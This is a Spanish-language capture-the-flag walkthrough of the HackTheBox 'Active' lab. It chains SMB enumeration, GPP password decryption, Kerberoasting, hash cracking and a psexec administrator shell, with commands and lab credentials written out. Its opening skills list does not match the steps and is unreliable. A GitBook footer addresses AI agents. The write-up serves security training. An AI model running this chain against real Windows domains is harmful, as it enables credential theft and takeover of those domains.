> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Resolución de HackTheBox Active {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Enumeración SMB * Descifrado de archivo ZIP protegido con contraseña (fcrackzip) * Descifrado y lectura de archivo .PFX (crackpkcs12) * Obteniendo acceso SSL con Evil-WinRM * Fuga de información - Lectura del historial de Powershell del usuario (pivotaje de usuario) * Abusar de LAPS para obtener contraseñas (Get-LAPSPasswords.ps1) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:**/ Enumerar los puertos abiertos y exportar los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **Enumeración y explotación:** ### **Enumeración SMB:** Usar crackmapexec para listar sistemas y encontrar el nombre del dominio. ```bash crackmapexec smb 10.10.10.100 ```

#### **Ajuste de tiempo con NTP:** Ajustar la hora de la máquina objetivo para evitar problemas ```bash ntpdate 10.10.10.100 ```

#### Configuración de /etc/hosts: Se añadió el controlador de dominio al archivo hosts para permitir el ping:

### **Listado de recursos compartidos** Usar smbclient o smbmap para explorar los recursos compartidos en la red. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **Buscar archivos específicos**: Explorar directorios en busca de archivos relevantes ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

El `groups.xml` se identifica un archivo que puede contener información confidencial. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **Descifrado de la contraseña:** Utilice `gpp-decrypt` para descifrar contraseñas almacenadas. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **Validación de identificadores:** Usar crackmapexec para comprobar si los identificadores son válidos ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **Exploración de permisos:** Usar crackmapexec y smbmap para explorar los permisos en los recursos compartidos de red. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### Flag de user.txt obtenida: ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **Inicio de sesión en el controlador de dominio:** Usando rpcclient para conectarse al controlador de dominio y explorar usuarios y grupos: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - Para identificar a los miembros del grupo de administradores: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - Para obtener usuarios en un grupo específico: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - Para listar las descripciones de todos los usuarios: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## Vulnerabilidad [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): La vulnerabilidad Kerberoast se explota con éxito mediante el siguiente comando: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` Este comando recupera un ticket de servicio del Servicio de Concesión de Tickets (TGS) que explota la vulnerabilidad. Luego, para obtener un hash de administrador, se añade el parámetro -request al comando: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **Explotación final:** ### **Crackeo del hash:** Usa John para intentar descifrar los hashes obtenidos. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **Validación de identificadores:** Usar crackmapexec para validar las credenciales obtenidas ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Ejecución de psexec:** Usar psexec.py para obtener una shell interactiva como administrador. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **Bandera final obtenida:** Obtener con éxito la bandera final una vez que se obtiene acceso de administrador.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.